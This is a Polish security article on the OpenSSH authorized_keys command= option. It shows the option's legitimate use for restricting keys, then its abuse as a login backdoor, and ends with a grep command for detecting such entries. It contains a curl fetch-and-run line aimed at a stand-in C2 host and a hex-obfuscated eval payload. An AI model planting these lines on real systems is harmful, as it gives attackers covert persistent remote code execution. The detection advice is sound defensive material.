O
penSSH – Secure Shell Server zapewnia bezpieczny, szyfrowany zdalny dostęp do systemów *niksowych. Po stronie serwera znajduje się plik authorized_keys w katalogu .ssh (głównym folderze użytkownika), w którym można skonfigurować uwierzytelnianie dzięki klucza publicznego. Przy normalnej konfiguracji użytkownik uzyskuje pełny dostęp do systemu, w którym skonfigurowano uwierzytelnianie. Jednak w niektórych przypadkach, takich jak automatyczne operacje na zdalnych serwerach (np. wdrażanie kodu, tworzenie kopii zapasowych, uruchamianie konkretnych skryptów), sensowne jest ograniczanie dostępu do kilku lub choćby jednego polecenia. Oprócz ograniczenia poleceń dla danego użytkownika zapobiegamy również kompromitacji zdalnego serwera w przypadku przejęcia klucza prywatnego.
Ograniczenie do pojedynczego polecenia:
Plik ~/.ssh/authorized_keys zawiera klucz publiczny użytkownika, któremu zezwalamy na uwierzytelnienie dzięki klucza prywatnego.
agresor@darkstar:~$ cat .ssh/authorized_keys ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC36JqoZKY/PeJZitR6pj0sa1BLA/BgfxDSCCcwyaJBu12lLIydz...W celu ograniczenia użytkownikowi możliwości wydania tylko konkretnego polecenia przed definicją klucza wpisujemy parametr command="polecenie". Następna próba nawiązania połączenia SSH dzięki prywatnego klucza zawsze wykona tylko to polecenie, choćby jeżeli w linii poleceń przekazano inne:
agresor@darkstar:~$ cat .ssh/authorized_keys command="echo Pwned on $(date)" ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC36JqoZKY/PeJZitR6p...Sprawdźmy teraz, jak zareaguje serwer, jeżeli będziemy chcieli wydać polecenie uptime:
terminal:~ agresor$ ssh darkstar.local -l agresor -i .ssh/darkstar_cmd_run uptime Pwned on Wed May 24 07:52:41 PM UTC 2023Wgrywanie tylnego wejścia:
Mając już świadomość działania pierwotnego zamysłu tej funkcjonalności sztuczka z instalacją tylnego wejścia polega na cichym wykorzystaniu parametru command= i wstrzyknięciu szkodliwego kodu, a następnie wywołaniu pełnowymiarowej powłoki użytkownika (z PTY) bez wzbudzenia podejrzeń przez użytkownika:
bash -c '$(curl -fsSL C2C.com/payload.sh)'; exec -a -$(basename /bin/bash) /bin/bashBardziej rozbudowane skrypty możemy zakodować do HEX i wywołać dzięki funkcji eval:
eval $(echo 62617368202d6320272428746f756368202f7 \ 46d702f6261636b646f6f7229273b20657865 \ 63202d61202d2428626173656e616d65202f6 \ 2696e2f6261736829202f62696e2f62617368 | xxd -r -ps)The Hacker Choice udostępnił choćby skrypt automatyzujący ten proces. Następnym razem jak użytkownik zaloguje się na serwer zostanie pobrany ładunek z naszego serwera i uruchomiona dla niepoznaki powłoka. Logika sprawdzenia czy tylne wejście zostało już wcześniej zainstalowane na serwerze jest po stronie skryptu z ładunkiem, ale równie dobrze możemy takie sprawdzenie wykonywać przed pobraniem ładunku. Jak widzimy jest to kolejna metoda persystencji jaka może zostać wykorzystana przez atakującego – dlatego warto przeszukiwać klucze pod kątem obecności parametru command:
# find /home/*/.ssh /root/.ssh -name authorized_keys -exec grep -ne command {} \; -print 1:command="eval $(echo 62617368202d6320272428746f756368202f746d702f6261636b646f6f722927... /home/agresor/.ssh/authorized_keysWięcej informacji: Restrict executable SSH commands with authorized keys, Infecting SSH Public Keys with backdoors, Key-Based SSH Logins
